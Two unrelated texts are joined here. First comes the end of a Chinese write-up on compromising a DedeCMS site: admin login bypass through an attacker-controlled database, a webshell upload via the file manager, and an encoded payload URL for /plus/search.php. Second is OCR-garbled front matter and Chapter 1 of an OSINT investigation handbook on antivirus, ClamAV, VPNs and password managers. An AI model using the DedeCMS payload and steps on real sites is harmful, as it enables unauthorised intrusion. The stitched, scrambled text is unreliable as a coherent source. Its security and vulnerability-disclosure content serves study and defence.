位数据库里面也需要对上,平时渗透搞到的 20 位 密文是需要前减三后减一才能拿去解密的, pubiews 字段在 DedeCMS 中代表了权限, admin_AllowAll 即为管理员 添加完数据,本地拿抓到的查询语句测试一下是否正常 携带 Payload 重新登录一次,我数据库里管理账号是 1 所以登录数据包也要一致,发送数据包让目标 回连我的数据库,查询到结果即可通过后台鉴权,从而进入后台 Getshell 不想写了, DedeCMS 文件管理器 file_manage_main.php 无脑上传 漏洞检测 访问以下 URL 提示链接数据库失败则说明存在漏洞。若不存在此文件,访问 /index.php 或 /plus 下的其他文件也可以。 修复方法,升级至最新版本或将 Mysql 类型改为 mysqli 结束   $mpwd = md5($pwd);   $pwd = substr(md5($pwd), 5, 20); /plus/search.php? arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112 &arrs1[]=119&arrs1[]=100arrs2[]=49&arrs2[]=50&arrs2[]=51 如果代码是完整的 dedecms 源码的话,我估计还有更多的利用链,前台无限制 RCE 也不是不可能。从 发现目标开始到拿下目标花了我两晚,写这一篇水文记录又花了我两晚,我的时间好像都浪费到这种零 零碎碎的琐事上了。有趣事的很多,无聊的烦心事更多。 R3start 2022年1月7日 06点54分
pdf
n in t h e d it io n Mic h a e l Ba z ze l l Re s o u r c e s f o r Se a r c h in g a n d a n a l y z in g On l in e in f o r ma t io n Ope n s o u r c e In t e l l ig e n c e t e c h n iq u e s -_____ J Copyright © 2022 by Michael Bazzell Project Editors: Y. Varallo, Janice Bartlett Technical Editors: Jason Edison, David Westcott, Peter Richardson Ninth Edition First Published: January 2022 Library of Congress Control Number (LCCN): Application submitted ISBN: 9798761090064 OPEN SOURCE INTELLIGENCE TECHNIQUES: r e s o u r c e s f o r Se a r c h in g a n d An a l y z in g o n l in e In f o r ma t io n Nin t h e d it io n warranty. The author has taken great or omissions. No liability is assumed use of the information or were confirmed accurate as of January 1, 2022. Readers may find slight discrepancies within the metho technology changes. The information in this book is distributed on an ”As Is" basis, without care in preparation of this book, but assumes no responsibility for errors for incidental or consequential damages in connection with or arising out of the programs contained herein. Due to the use of quotation marks to identify specific text to be used as search queries and data entry, the au has chosen to display the British rule of punctuation outside of quotes. This ensures that the quote con accurate for replication. The author has also chosen to omit "smart" or "curly" single and double quotes in or to maintain proper emphasis within search queries and scripts. Only straight quotation marks an apostro are presented. To maintain consistency', these formats are continued throughout the entire book. Rather than use a trademark symbol with every occurrence of a trademarked name, this book uses the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. All rights reserved. No part of this book may be reproduced in any form or by any electronic or mechanical means, including information storage and retrieval systems, without permission in writing from the author. The content of this book cannot be distributed digitally, in any form, or offered as an electronic download, without permission in writing from the author. It is only officially offered as a printed hardcover book. Co n t e n t s .3 ..11 ..19 ..43 ..87 ..99 ..115 ..129 ..137 ..141 ..169 ,.185 ..207 ..219 ..235 ..257 ..271 ..279 ..293 ..307 ..325 ..337 .353 .365 .387 .397 ...409 ...413 ...429 ...459 ...461 ...481 ...501 ...513 ...514 SECTION I: OSINT Preparation................................ CHAPTER 1: Computer Optimization..................... CHAPTER 2: Linux Virtual Machines..................... CHAPTER 3: Web Browsers....................................... CHAPTER 4: Linux Applications............................... CHAPTER 5: VM Maintenance & Preservation ... CHAPTER 6: Mac & Windows Hosts...................... CHAPTER 7: Android Emulation............................. CHAPTER 8: Custom Search Tools.......................... SECTION II: OSINT Resources & Techniques... CHAPTER 9: Search Engines................................... CHAPTER 10: Social Networks: Facebook............ CHAPTER 11: Social Networks: Twitter................. CHAPTER 12: Social Networks: Instagram........... CHAPTER 13: Social Networks: General................ CHAPTER 14: Online Communities........................ CHAPTER 15: Email Addresses................................. CHAPTER 16: Usernames............................................ CHAPTER 17: People Search Engines..................... CHAPTER 18: Telephone Numbers........................ CHAPTER 19: Online Maps........................................ CHAPTER 20: Documents.......................................... CHAPTER 21: Images................................................... CHAPTER 22: Videos................................................... CHAPTER 23: Domain Names.................................. CHAPTER 24: IP Addresses....................................... CHAPTER 25: Government & Business Records CHAPTER 26: Virtual Currencies............................ CHAPTER 27: Advanced Linux Tools.................... CHAPTER 28: Data Breaches & Leaks.................. SECTION III: OSINT Methodology....................... CHAPTER 29: Methodology & Workflow.............. CHAPTER 30: Documentation & Reporting........ CHAPTER 31: Policy, Ethics, & Development.... CONCLUSION:.............................................................. INDEX: .............................................................................. Ab o u t t h e a u t h o r Mic h a e l b a z z e l l Michael Bazzell investigated computer crimes on behalf of the government for over 20 years. During the majority of that time, he was assigned to the FBI's Cyber Crimes Task Force where he focused on various online investigations and open source intelligence (OSINI} collection. As an investigator and sworn federal officer through the U.S. Marshals Service, he was involved in numerous major criminal investigations including online child solicitation, child abduction, kidnapping, cold-case homicide, terrorist threats, and advanced computer intrusions. He has trained thousands of individuals in the use of his investigative techniques and privacy control strategies. After leaving government work, he served as the technical advisor for the first season of the television hacker drama Mr. Robot. His books Open Source Intelligence Techniques and Extreme Privacy are used by several government agencies as training manuals for intelligence gathering and privacy hardening. He now hosts the weekly Privacy, Security, and OSINT show, and assists individual clients in achieving ultimate privacy, both proactively and as a response to an undesired situation. More details can be found on his website ar IntelTechniques.com. ——J Nin t h e d it io n pr e f a c e I have poured every tactic, method, and experience I have into this special hardcover expanded edition. This book was accurate as of January 1, 2022. If, or more likely when, you find techniques which no longer work, use the overall lessons from the entire book to push through the changes and locate your content. Once you develop an understanding of the strategies, you will be ready to adapt. I hope you find something valuable here which will aid your own online investigations or research. I am truly excited to introduce a new level of OSINT. -MB Please consider the following technical note in regard to this book. I typically push my self-published titles through five rounds of editing. The fees associated with editing a book of this size (over 250,000 words) are substantial. This edition was put through only two rounds of editing, so 1 expect a few minor typos still exist. If you find any, consider reporting them to [email protected]. My team can correct anything for all future printings. The decision to restrict editing was mostly due to hard deadlines for courses, but book piracy also played a strong role. We have seen a drastic shift from most readers purchasing the book to the vast majority downloading illegal free PDF copies available a few weeks after the initial release. If you purchased this print edition, I sincerely thank you. You represent a shrinking society. If you downloaded this book from a shady site, please be careful. Many readers reported that poorly-scanned PDFs of the previous edition were infected with trackers and malicious code. Never download or open a document from any source which you do not fully trust. Please consider purchasing a legitimate copy for yourself or someone else. Sales of this book directly support the ad-free podcast which delivers updated content. The previous (eighth) edition of this book was originally written in late 2020. Soon after publication, I declared that 1 was taking a break from writing, which I did. In late 2021,1 was asked to update this book, as it is required reading for numerous college courses, university degrees, and government training academies. I never want stale or inaccurate information being presented xxdthin training programs, so 1 created this special hardcover revision. In the previous editions, 1 only published a new version once I had at least 30% new material and 30% updated content. The recycled material was kept to a maximum of 40%. With this edition, I have deviated away from that rule. I estimate that only 20% of the content here is changed, with the remaining 80% recycled from the previous edition. Much of the eighth edition content was still applicable and only needed minor updates to reflect changes since 2020. If you have read the previous edition, you will find most of those overall strategies within this book. However, I have added many new OSINT methods which complement the original text in order to cater to those who always need accurate information. 1 also removed a lot of outdated content which was no longer applicable. 1 believe there is much new value within this updated text. The majority of the updates are available in chapters 3, 4, 5, 6, 27, and 28, along with the digital files which accompany them. The other chapters all have minor updates. My primary goals with this new edition are three-fold. First, we need to continue our path of self-reliance which was introduced in the previous editions. This ninth edition introduces a completely rebuilt Linux OSINT virtual machine which is simpler to create, full of new features, and easier to operate. I present all required commands to replicate my own system and offer an automated script which allows you to generate your own working environment within just a few minutes. The Windows and Mac sections were also updated to reflect the changes offered within Linux. The online and offline search tools were updated to simplify many of the search techniques presented throughout the book. Second, I have reworked all of the various OSINT techniques presented throughout the book. Many of the search methods targeted toward Facebook, YouTube, Twitter, Instagram, and other online services which were presented in the previous editions have begun to fail as these companies change their products. The updated tutorials here should offer solutions. Finally, I have removed all outdated content in order to prevent frustration while attempting broken techniques. Keeping a book up to date about ways to access information on the internet is a difficult task. Websites are constantly changing or disappearing, and the techniques for collecting all possible public information from them are affected. However, new resources appear constantly, and much of this book contains new techniques which were previously not available. In t r o d u c t io n Ope n So u r c e in t e l l ig e n c e Te c h n iq u e s What is OSINT? Overall, this book includes several hundred sources of free information and software which could identity personal information about anyone you might be investigating. All of the resources are 100% free and open to the public, with a few minor exceptions. Each method is explained, and any creative search techniques involving the resources are detailed. When applicable, actual case examples are provided to demonstrate the possibilities within the methods. The book can be read in any order and referenced when a specific need arises. It is a guidebook of techniques that 1 have found successful in my investigations. Open Source Intelligence, often referred to as OSINT, can mean many things to many people. Officially, it is defined as any intelligence produced from publicly available information that is collected, exploited, and disseminated in a timely manner to an appropriate audience for the purpose of addressing a specific intelligence requirement. For the CIA, it may mean information obtained from foreign news broadcasts. For an attorney, it may mean data obtained from official government documents which are available to the public. For most people, it is publicly available content obtained from the internet. Locating this free online information is not the final step of OSINT analysis. Appropriate collection and reporting methods will be detailed and referenced. Whether the data you obtain is for an investigation, a background check, or identifying problem employees, you must document all of your findings. You cannot rely on the information being available online forever. A website may shut down or the data may be removed. You must preserve anything of interest when you find it. The free software solutions presented here will help you with that. OSINT search techniques do not apply only to websites. There are many free programs which automate the search and collection of data. These programs, as well as application programming interlaces, will be explained to assist the advanced investigator of open source intelligence. In summary, this book is to serve as a reference guide to assist you with conducting more accurate and efficient searches of open source intelligence. This is not a debate of the various opinions about online reconnaissance for personal information. It is not a historical look at OSINT or a discussion of your administrative policy’. Furthermore, it is not a how­ to guide for criminals to steal your identity. Nothing in this book discusses illegal methods. As my company continues to provide OSINT training sessions, the audiences seem to grow every year. It is no longer a course reserved for tech-sawy employees. We now see people with minimal online experience being thrown into investigation and analyst positions. We see crowds desperate for the latest investigation techniques, only to see those methods disappear without notice as social networks come and go, or change their search options. Search techniques seem to be more fickle than ever, and I am always concerned about losing an online resource. I taught my first Open Source Intelligence (OSINT) course in 1999 to a small group of local police chiefs in Illinois. I had not heard of the term OSINT at the time and I did not realize there was an official name for the methods I was teaching. I simply thought I was demonstrating a powerful way to use the internet as a pan of everyday investigations. Most in the room had little interest in my session, as they had not experienced the internet much. Well, times sure have changed. OSINT is now quite the buzz word within several communities. Hacking conferences proudly host OSINT training sessions; cyber security groups include it within their strategies of hardening systems and customers; law enforcement agencies dedicate entire investigation units to online research into criminals; journalists rely on the methods every dag, and even the social engineering crowd has adopted it as part of their playbook. I never knew OSINT would become a household name within most technology' circles. Book Audience Digital Files can use these apply these : the search I realize that people who use these techniques for devious purposes will read this book as well. Colleagues have expressed their concern about this possibility. My decision to document these techniques came down to two thoughts. First, anyone that really wants to use this information in malicious ways will do so without this book. There is nothing in here that could not be replicated with some serious searching and time. The second thought is that getting this information out to those who will use it appropriately is worth the risk of a few people using it for the wrong reasons. Please act responsibly with this information. Finally, a parting thought before you begin your journey through OSINT analysis and collection. This book was written as a reference guide. It does not necessarily need to be read straight-through sequentially, but it was written as a chronological guide for most investigators. I encourage you to skip around when needed or if you feel overwhelmed. The second chapter about Linux may make you want to abandon the teachings before ever utilizing an online resource or website. When you encounter material that seems too technical or not applicable, please move on to the next chapter and consider returning later. The book is suitable for all skill levels, and there is something here for everyone. You can always return to the advanced topics when more appropriate. Throughout this book, I refer to several files which can be downloaded in order to simplify your usage of the various tools, techniques and scripts. These arc all hosted on my website, and available free to you. As each file or script is referenced, I provide a download link to simplify the learning process. Please embrace these files as a vital part of this book. They should minimize frustration and save time as you replicate the tutorials. When I first considered documenting my OSINT techniques, the plan was to post them on my website in a private area for my co-workers. This documentation quickly turned into over 250 pages of content. It had grown too big to place on my site in a manner that was easy to digest. I changed course and began putting together this book as a manual to accompany my multiple-day training sessions. It has grown to a huge textbook which could never include even’ beneficial resource on the internet. Many’ readers work in some form of law enforcement or government agency. Police officers techniques to help locate missing children or investigate human trafficking. Intelligence analysts can : methods to a large part of their daily work as they tackle social media posts. Detectives can use techniques to re-investigate cases that have gone unsolved. I embrace these techniques being used to locate facts which can help solve crimes. This book also caters to the private sector, especially security divisions of large corporations. It can help these teams locate more concise and appropriate information relative to their companies. These methods have been proven successful for employees who monitor any' type of threat to their company, from physical violence to counterfeit products. I encourage the use of these techniques to institutions which are responsible for finding and eliminating "bad apples". This may be the human resources department, applicant processing employees, or "head hunters" looking for the best people. The information about a subject found online can provide more intelligence than any interview or reference check. Parents and teachers are encouraged to use diis book as a guide to locating social media content posted by children. In many households, the children know more about the internet than the adults. The children use this to their advantage and often hide content online. They know that it will not be located by their parents and teachers, and often post inappropriate content which can become harmful in the wrong hands. This book can empower adults and assist with identifying important personal information which could pose a threat toward children. A large portion of my intended audience is private investigators. They can use this book to find information without possessing a deep understanding of computers or the internet. Explicit descriptions and occasional screen captures will ensure that the techniques can be recreated on any computer. Several universities have adopted this book as required reading, and I am honored to play a small role in some amazing courses related to network security’. Let's get started. OSINT Preparation 1 Se c t io n I OSINT PREPARATION There is a lot to digest here. Please allow yourself to skip over anv technical sections and return to them once you understand the overall intent of the material. Many readers skip to Section Two (Chapter Nine - Search Engines) and start practicing various online OSINT techniques. Some navigate directly to Chapter Eight to start using the free custom search tools. Others read through the entire book before ever touching a computer. Approach the content in the way which suits you best. Most importantly, do not let the technical aspects deter you from finding areas which will benefit your own investigations the most. In the following chapters, I will explain how to ensure your computer host is secure; configure virtual machines for each investigation; embed Linux applications into Windows and Mac hosts; customize OSINT software which will be available at all times; create your own set of search tools to automate queries; prepare a virtual Android environment for mobile investigations; and easily clone all of your work for immediate replication if anything should become corrupt, damaged, or compromised. Your efforts now will pay off ten-fold in the future. I have also been guilty of all of this. Early in my career of researching OSINT, I did not pay much attention to computer security or proper browsing habits. While I was aware of malicious software, I knew I could reinstall Windows if something really bad happened. This was reactive thinking. I believe that we must all proactively attack vulnerabilities in our own privacy and security while conducting online research. This section is not meant to be a complete guide to computer security or a manual for total privacy. Instead, 1 hope to quickly and efficiently propose the most beneficial strategies which will protect you from the majority of problems. Applying the changes mentioned in this section will provide a valuable layer of security to your online investigations and overall computing habits. This entire section explains the essential steps which I believe any online investigator should complete before ever conducting a search online. We should never jump into an investigation without being digitally secure with a clean computer and software which has not been compromised from previous activity. We should begin each investigation with confidence, knowing we arc working within an environment without any contamination from previous investigations. It will take a lot of work to create our perfect playground, but replicating a pristine environment for each investigation will be easy. Much like a DNA forensics lab must be configured and ready before an investigation, your OSINT lab should face the same scrutiny. The first four editions of this book began with search engine techniques. Right away, I offered my methods for collecting online information from various popular and lesser-known search websites. This may have been due to my own impatience and desire to "dive in" and start finding information. This edition will begin much differendy. Before you attempt any of the search methods within this book, 1 believe you should prepare your computing environment. I was motivated to begin with this topic after teaching a multiple-day OSINT class. On day two, several attendees brought laptop computers in order to attempt the techniques I was teaching during the course. During a break, I observed police officers searching Facebook on patrol vehicle laptops; private investigators using Windows XP while browsing suspects' blogs; and cyber security professionals looking at hacker websites without possessing any antivirus software, script blockers, or a virtual private network (\TN). ______J 2 Chapter 1 Computer Optimization 3 Ch a pt e r On e Co mpu t e r Opt imiz a t io n In a perfect world, you have just purchased a brand-new computer and are ready to tackle your first investigation with it. There is no contamination because you have yet to turn it on. In the real world, you are stuck with used equipment, repurposed gear, and outdated operating systems. Regardless of whether you have a new machine or a hand-me-down, this chapter contains steps we must take before going online. Let’s begin with the used machine. Now imagine that you begin an investigation into a target on this same machine. A Google search leads you to an Amazon Wishlist. Loading to that page connects your Amazon account to the query’, and your name is visible within the screen capture. Even when you log out of services such as Amazon, persistent "cookies" linger and let companies know you are still online. They follow you to websites you visit, attempting to collect your interests in order to present targeted advertisements. Your fingerprint is now all over this investigation. I pick on Amazon, but Google, Facebook, and others are much worse. Assume you possess a laptop computer which you have had for a year or two. You installed some traditional software such as Microsoft Office and maybe added a better browser such as Firefox. You have checked your email, logged in to your Amazon account, and browsed the web as anyone else would with their own machine. Each time you visit any website, you collect detailed temporary’ files which are personalized only for you. They contain session details and account profile data. We all constandy leave a digital trail within every device we touch. What data is on your computer? Is there a virus, malicious software, or spyware hanging around from casual browsing in questionable places? Does your internet cache include tracking cookies from Amazon, Facebook, Google, and others? Is there evidence of your last investigation stored within your bookmarks, documents, or download queue? If the answer is "maybe" or "I don't know" to any of these, you have a contaminated computer. If your investigation enters court testimony, you may have a lot of explaining to do once an expert witness who specializes in computer forensics takes the stand. If your screen captures display’ evidence unrelated to your investigation, you could compromise the entire case. You may think I am being overly cautious, but we can no longer take any chances when it comes to the purity of our online evidence. We can avoid all of this. I present a firm rule w’hich will not sit w’ell with all readers. You should possess a dedicated machine for the sole use of online investigations. It should have no personal usage and no unnecessary- activity. It should be a machine only used as part of your profession. Even if you only have a used computer. If I have not convinced you that your machine is contaminated, consider the following scenario, which happened to me many years prior to this writing. While investigating your suspect, you check your email in another brow ser tab. You also take advantage of various instant messenger applications in order to communicate with colleagues. You finish your investigation and submit your evidence for discovery’. A suppression hearing is scheduled because the opposing party’ in your case wants evidence throw’n out. During arguments, the other side demands an exact clone of die computer used during the investigation be provided to their own digital examiner. The judge agrees, and orders you to allow’ the opposing side to make an identical clone of your machine. You begin thinking about the personal activity and online purchases which are now going to surface during this trial. First, we need to focus on the idea of a clean host. Your host machine is your traditional physical computer. It may be the laptop or desktop owned by your agency or purchased with personal funds. It is the device which you obtain your access to the internet, but not necessarily the direct avenue which will be used for vour investigations. In the next chapter, I present my options for protection during online investigations by using a virtual machine (VM) on top of your host. Before we can consider building a VM, we must know we have a host without any’ contamination. Antivirus (Windows) 4 Chapter 1 • Just remove my files • Remove files and clean the drive There are a dozen popular antivirus companies that will provide a free solution. For most Windows users, I simply recommend to use Microsoft’s products. Users of Windows 7 should use Microsoft Security Essentials, while Windows 8 and 10 users should use the default Windows Defender included with their installation. Privacy enthusiasts will disagree with this advice, and I understand their stance. Microsoft products tend to collect your computer usage history and analyze the data. Unfortunately, their core operating systems also do this, and it is difficult to disable long term. Therefore, I believe that Windows users are already disclosing sensitive information to Microsoft. Using their antivirus soludons will not likely enhance the data being collected. Windows: First and foremost, backup any important data. Connect an external drive via USB and copy any documents, configuration files, and media which will be removed when you reformat the machine. Common locations include the Desktop, Downloads, and Documents folders within the home folder of the current user. Double check that you have everything you need, because the next step is to remove all data from the drive. Most modern Windows computers possess a hidden "restore" partition. To factory reset Windows 10, go to Stan > Settings > Update & Security > Recovery and click the "Get staned" button under "Reset this PC". Select "Remove everything", which results in the following two options: you can bring life back to the machine and start over. This requires much more than simply deleting files and running a computer cleaning application. These only remove the obvious data, and will never truly eliminate all contamination from the machine. To do things right, we must completely reformat and reinstall all software. This will erase all data on your machine, so proceed with caution! This section is optional. Let's attack this from the twro most common operating systems. Mac: Similar to Windows, make a backup of any valuable data. Common locations include the Desktop, Downloads, and Documents folders within the home folder of the current user. Restart the computer and immediately hold the "command" and "R" keys until you see the Apple logo. Release the keys and proceed to the next step. While in Recovery Mode, you will see the "macOS Utilities" window. Choose Disk Utility and click Continue, then select your startup disk and click Erase. Select Mac OS Extended Qoumaled) as the format, click Erase, and wait until the process is finished. With your hard drive completely erased and free of any data, you can perform a clean installation of macOS. From the same macOS Utilities window, choose Reinstall macOS (Reinstall OS X in older versions). Allow the process to complete and reboot the machine. Create a generic login account and you have a brand-new system. You should now have a computer with no previous internet usage. This is our clean host. Now, we need to apply protection to the host, including antivirus and a solid VPN. It is likely that most readers already have an antivirus solution and are insulted at the mention of it in a book like this. I will keep my thoughts very brief. If you are using Microsoft Windows, you absolutely need antivirus software. If you are using an Apple computer, you might not Antivirus applications only protect against known variants of viruses. They do not stop everything. A new virus can often bypass the best software detection solutions. A better defense is applying better browsing habits instead of relying on an application. Choose the "clean the drive" option and wait for completion. The result will be a new operating system free of any previous contamination. If you do not have this option, or possess an older Windows operating system, you will need the original installation media or a restore CD from the manufacturer. Upon boot, refuse any requests to create a Microsoft account, and only provide the necessary information to log in to Windows, such as a vague username and password. I prefer to eliminate any internet connection to this machine before I conduct this activity. This usually prevents Microsoft from demanding an online account. Antivirus (Mac) 5 Computer Optimization brew analytics off brew install clamav After Brew is installed, type the following commands, hitting "Return” after each line, into the same Terminal application used previously. /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)” First, you must install a package manager called Brew. This program is very beneficial when there is a need to install programs that would usually already be present on a Linux computer. It also happens to have a pre­ configured version of ClamAV ready to go. The easiest way to install Brew is to visit the website brew.sh and copy and paste the following command into the Terminal application (Applications > Utilities > Terminal). KnockKnock (objective-see.com/products/knockknock.html): Similar to the previous option, which is maintained by the same company, this program conducts a scan of your Mac device. However, it is looking for persistent programs which are set to launch upon boot. Since most viruses inject themselves to launch the moment your computer starts, this program may identify threats which were missed by the previous program if they were not running at the time. After opening this application, click the scan button and allow the process to complete. You will receive a notification about any suspicious files. I execute this weekly along with Task Explorer. Please note that it also only notifies you of issues, and does not remove them. Task Explorer (objective-see.com/products/taskexplorer.html): This free Mac-only application is simple yet effective. It identifies all running processes and queries them through a service called Virus Total. If it finds a suspicious file, it alerts you with a red flag in the lower-right corner. Clicking the flag allows you to see more details about the potential threat. I execute this program weekly from any Mac machine 1 am using. If you have picked up a virus on your host, this program should identify it quickly. However, it does not remove any infections. For that, you will need to research any suspicious files. ClamAV (clamav.net): ClamAV (not to be confused with the unnecessary paid option of ClamXAV) is a community-driven and open-source antivirus database, which is freely available to anyone. It usually does not score very high on "Top 10 Antivirus" websites, which are commonly paid advertisements. However, it is completely free; does not run on your system non-stop; only executes when you desire; and can be completely removed easily. Unfortunately, there is no easy software installation process, and no point-and-click application. You will need to manually update the database through a Terminal command, then scan your system from the same prompt. ClamAV does not remove any viruses by default, it only discloses the presence and location of suspicious files. In my use, ClamAV has never found a virus which impacted a Mac computer. Instead, it has identified numerous malicious files which target Windows machines, but were present on my system (mostly as email attachments). This notification allowed me to manually remove those files, which could prevent tuture infection of my Windows virtual machines. If you have concerns about having a "naked" Mac with no antivirus, the following instructions will configure your Mac to be better protected. Mac users do not have any built-in antivirus protection, and most do not need any. The software architecture of Mac computers is much more secure, and viruses are rare (but they do still occur). 1 no longer recommend the free commercial products such as Avast, Kaspersky, and others. They tend to be more of an annoyance than helpful, and their business practices can be questionable. However, I do believe that it is irresponsible to have absolutely no protection whatsoever. I was once asked during testimony of a federal trial to disclose any security software present within my investigation computers. I was glad my response was not "none". This would have likely introduced a defense blaming an infected workspace. I was proud to disclose my open-source solutions. When I conduct investigations from a Mac computer, I always possess three software applications which can be executed at any time without any of them running full-time in the background of my operating system. your keyboard clamscan -i —remove=yes / Antimalware 6 Chapter 1 • sudo mkdir /usr/local/sbin • sudo chown -R 'whoamiadmin /usr/local/sbin • brew link clamav • cd /usr/local/etc/clamav/ • cp freshclam.conf.sample freshclam.conf • sed -ie 's/AExample/#Example/g’ freshclam.conf • Navigate to http://www.malwarebytes.com/ and select the "Free Download" option. • Conduct a default installation. • On a weekly basis, launch the program, update the database, and conduct a full scan. • Malwarcbytes will remove any issues it finds. These steps will install ClamAV; switch to the installation directory; make a copy of the configuration file; and then modify the configuration file to allow ClamAV to function. You are now ready to update your antivirus database and conduct a scan. Type the following commands into Terminal, striking return on J after each line. I confess I do not execute ClamAV often. A full scan can take hours and is unlikely' to locate threats nor found by the previous two applications. However, Task Explorer and KnockKnock do not protect against malicious applications which target Windows environments. ClamAV may' find files which are malicious even if they' are not a direct threat to your Mac computer. If you conduct government investigations, especially' those which may' result in prosecution, I believe yrou have an obligation to possess and execute some type of traditional antivirus software. ClamAV is a safe and reliable option. If I were still investigating federal crimes, I would conduct a complete scan of my Mac computer weekly. The use of ClamAV on Mac and Linux computers is more about preventing the spread of bad files to Windows users instead of protecting your own machine, but viruses do exist for non-Windows systems. Whether on Windows or Mac computers, protection from malicious software, otherwise known as malware, is vital. Again, there are numerous free options from which to choose. I recommend Malwarcbytes for some Windows and Apple users who desire additional protection, but I do not use it on my Mac. If I were a Windows user, it would be mandatory on my machine. I suggest executing, updating, and scanning at least once a week on every Windows device you use. The first option will download all virus definition updates, and should be executed before each scan. The second option conducts a scan of the entire computer, and will only prompt you with details of found viruses. While it may appear to be dormant, it is working, and will notify you upon completion. AU of these commands must be exact In order to assist with this, I have created a web page with all of these commands at https://inteltechniques.com/clamav. freshclam -v clamscan -r -i / ClamAV may’ occasionally present a false-positive report of a virus. Do not panic. Research the file on the internet and identify the issues. If you receive reports of malicious files within email, simply' delete those messages. Note that the above scans only SEARCH for viruses, they do not REMOVE threats. If yrou would like to conduct a scan and automatically remove suspicious files, you must conduct a different command. Please note this could be dangerous, and could permanently remove necessary files. I always run a scan, research the threats found, and execute the foUowing scan ONLY if 1 am confident the files should be removed. Virtual Private Network (VPN) ising a connection from your internet Computer Optimization 7 If you work for a large corporation, you may already have access to a corporate VPN. Ask around and identify your options. These are great for security, but not so much for privacy. I never recommend a corporate \TN for online investigations. Instead, you need to purchase a VPN sendee. While there are a few providers that give awayr free VPNs, I never recommend them. They are extremely slow and often use your internet connection for other people’s traffic. Instead, consider purchasing access from a reputable provider such as ProtonXTN or P1A. I explain the benefits of each at https://inteltechniques.com/vpn.html. If prompted, decline any premium features or trials. The free version is sufficient and preferred. Proper antivirus and antimalware protection will greatly enhance your overall computing experience. It will help your computer to run smoothly and may prevent malicious files from infecting your operating system. It will help protect the integrity of any online investigations. 1 refer to these steps as the "staples". They are the minimum requirements before proceeding and apply to any computer user. Ideally, you will newer use your host operating system for any web browsing or investigations, and all of this will be overkill. However, it is better to be safe than sorry’. Always consider the integrity of your investigations. VPNs can be launched in many ways. Some run through a firewall or router, which may be overkill for your needs. This is especially true if you conduct investigations from a laptop at multiple locations. Some use various web browser extensions which allow the VPN to intercept data. I do not recommend this as it would only protect your browser traffic instead of your entire host. My advice for you is to protect your entire host computer with a dedicated VPN application. This will also protect your virtual machines, which will be explained in the next chapter. If you are on your home computer, and connected to the internet, you are us service provider (ISP). If you navigate to a website that is monitoring visitors, it knows your IP address, approximate location, and internet provider and type (cable, DSL, etc.). However, if you are on that same computer, with the same internet connection, you can use a VPN to protect you. The VPN software connects your computer to one of their servers over the internet connection. This encrypted traffic cannot be deciphered by the ISP. When your traffic gets to the VPN server, it sends and receives your data, returning incoming packets to you. The websites that you visit believe that you have the IP address of the VPN server. They do not kno\ what type of internet connection you possess nor your location. Both ProtonVPN and PIA provide a software application to all premium user accounts. I find this sufficient for our needs and installation is easy for both Windows and Mac. Each of these providers allow you to connect to your choice of dozens of servers worldwide. 1 can choose California when I want to appear on the west coast or New York when I want to appear in die east. I can choose London in order to bypass restrictions while watching the BBC online or Toronto when 1 need to appear as a Canadian user. Your yearly access can be used on up to ten devices simultaneously. My personal policy on VPNs is quite simple. 1 always use a VPN on any device that I connect to the internet. This includes desktops, laptops, and cell phones. Some readers may wonder why they cannot simply use the free Tor service for this scenario. While you could, it is not usually advised. Tor connections can be too slow for constant use. Also, some websites will not let you access their services through a Tor proxy. Connecting to your bank through Tor will likely set off alarms, and may prevent you from access. Visiting social networks through Tor can also be an issue. I believe that Tor is great when you truly need to hide your entire connection, and I will discuss more on that later. I believe that every' day’ browsing is better suited for a VPN. I believe that every’ OSINT researcher should possess and use a virtual private network (VPN) at all times. A VPN extends a private network across a public network, such as the internet. It enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network, thus benefiting from the functionality and security of the private network. z\ VPN masks your identity online. Two specific examples should help demonstrate the need for this resource. Password Manager 8 Chapter 1 • Launch KeePassXC and select Database > New Database. • Provide a name to your new password database, such as Passwords. • Move the encryptions settings slider completely to the right and click "Continue". • Assign a secure password which you can remember but is not in use anywhere else. • Click "Done" and select a safe location to store the database. • Close the program and verify you can open the database with your password. • Right-click within the right column and select "New Group". • Name the group Facebook and click "OK". • Select the Facebook group on the left menu. • In the right panel, right-click and select "New Entry'". • Provide the name of your covert account, username, and URL of the site. • Click the black dice icon to the right of the "Repeat" field. • Click the eyeball logo underneath the black dice logo. • Slide the password length slider to at least 40 characters. • Copy the generated password and paste into the "Password" and "Repeat" fields. • Change your Facebook password to this selection within your account. • Click "OK" and save the database. KeePassXC is an open-source password manager that does not synchronize content to the internet. There are many convenient online password managers which are secure and keep all of your devices ready for automated logins. Those are great for personal security, and millions of people are safely using them. Flowever, it is not enough for our needs. Since you will be storing data connected to online investigations, you should protect it in an offline solution. KeePassXC is cross-platform and free. It will work identically on Mac, Windows, or Linux. Download the software from https://keepassxc.org, and conduct the following as an exercise. While you conduct your online investigations, you wall likely create and maintain numerous accounts and profiles across various sendees. Documenting the profile details, including passwords, for these sendees can be a daunting task. A password manager provides a secure database to store all of the various settings in regard to these profiles. My choice is KeePassXC. Lately, 1 have had better success with Proton VPN than P1A in regard to online investigations. PI A is one of the largest VPN providers in the world, and many sites block them due to abuse and fraud. Proton VPN is equally as secure, but not as popular. When a website blocks me because I possess an IP address from PIA, I can almost always connect to the site by switching over to Pro ton VPN. ProtonVPN is a bit more expensive than PLA, but you may have less headaches. Any reputable VPN is better than no protection. I always display current recommended VPN affiliate purchase options on my site at https://inteltechniques.com/vpn.html. You now have a secure password manager and database ready for use. Assume you are ready to change the password to your covert Facebook profile. Navigate to the menu which allows change of password. Next, conduct the following within KeePassXC. You successfully created a new, secure, randomly generated password for your covert profile. You will not remember it, but your password manager will. From this moment forward, you will change every password to any site that you access upon logging in. The next time you log in to your secure sites, change any passwords. Allow your password manager to generate a new random password containing letters, numbers, and special characters. If the website you are using allows it, choose a password length of at least 50 characters. When you need to log in, you will copy and paste from the password manager. For each site which you change a password, your password manager will generate a new, unique string. This way, WHEN the site you are using gets breached, 9 Computer Optimization the passwords collected will not work anywhere else. More importantly, recycled passwords will nor expose vour true accounts after the breached data becomes public. There should be only a handful of passwords' you memorize, which brings us to the next point. If you really want integrated browser support, KccPassXC has this option. You can install the browser extension and easily enter passwords into websites without leaving the browser. This will be explained later. I believe this is safe, and I have used it during investigations in the past. Today, I believe that copying passwords into websites should be a deliberate act that requires effort without automation. I don’t want a machine doing this for me. The attraction to online password managers 